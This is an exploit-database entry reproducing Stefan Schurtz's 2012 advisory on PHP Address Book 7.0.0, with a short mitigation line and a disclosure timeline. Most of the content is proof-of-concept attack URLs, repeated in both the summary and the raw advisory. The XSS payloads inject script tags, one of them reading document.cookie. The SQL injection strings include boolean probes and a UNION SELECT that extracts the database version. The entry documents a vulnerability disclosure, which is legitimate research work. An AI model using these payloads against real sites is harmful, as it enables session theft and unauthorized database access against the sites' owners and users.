header-logo
Suggest Exploit
vendor:
PHP Address Book
by:
Stefan Schurtz
6,4
CVSS
MEDIUM
XSS and SQLi
79, 89
CWE
Product Name: PHP Address Book
Affected Version From: 7.0.0
Affected Version To: 7.0.0
Patch Exists: NO
Related CWE: N/A
CPE: a:php_address_book:php_address_book
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

PHP Address Book 7.0.0 Multiple security vulnerabilities

PHP Address Book 7.0.0 is prone to multiple XSS and SQLi vulnerabilities. XSS PoC-Exploits include: http://[target]/addressbookv7.0.0/preferences.php?from='"</script><script>alert('xss')</script>, http://[target]/addressbookv7.0.0/group.php/" /><script> alert('xss')</script>, http://[target]/addressbookv7.0.0/index.php?group='"</script><script>alert(document.cookie)</script>. SQLi PoC-Exploits include: http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1<2,2,1), http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1>2,2,1), http://[target]/addressbookv7.0.0/view.php?id=1' UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--+

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in the application.
Source

Exploit-DB raw data:

##################################################################################
# Advisory: PHP Address Book 7.0.0 Multiple security vulnerabilities
# Advisory ID: SSCHADV2012-013
# Author: Stefan Schurtz
# Affected Software: Successfully tested on PHP Address Book 7.0.0
# Vendor URL: http://sourceforge.net/projects/php-addressbook/
# Vendor Status: informed
##################################################################################

==========================
Vulnerability Description
==========================

PHP Address Book 7.0.0 is prone to multiple XSS and SQLi vulnerabilities

==================
PoC-Exploit
==================

// XSS

http://[target]/addressbookv7.0.0/preferences.php?from='"</script><script>alert('xss')</script>
http://[target]/addressbookv7.0.0/group.php/" /><script> alert('xss')</script>
http://[target]/addressbookv7.0.0/index.php?group='"</script><script>alert(document.cookie)</script>

// SQLi

http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1<2,2,1)
http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1>2,2,1)

// UNION-based Injection, needs 'magic_quotes=off'
http://[target]/addressbookv7.0.0/view.php?id=1' UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--+

====================
Disclosure Timeline
====================

03-Mar-2012 - vendor informed

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-013.txt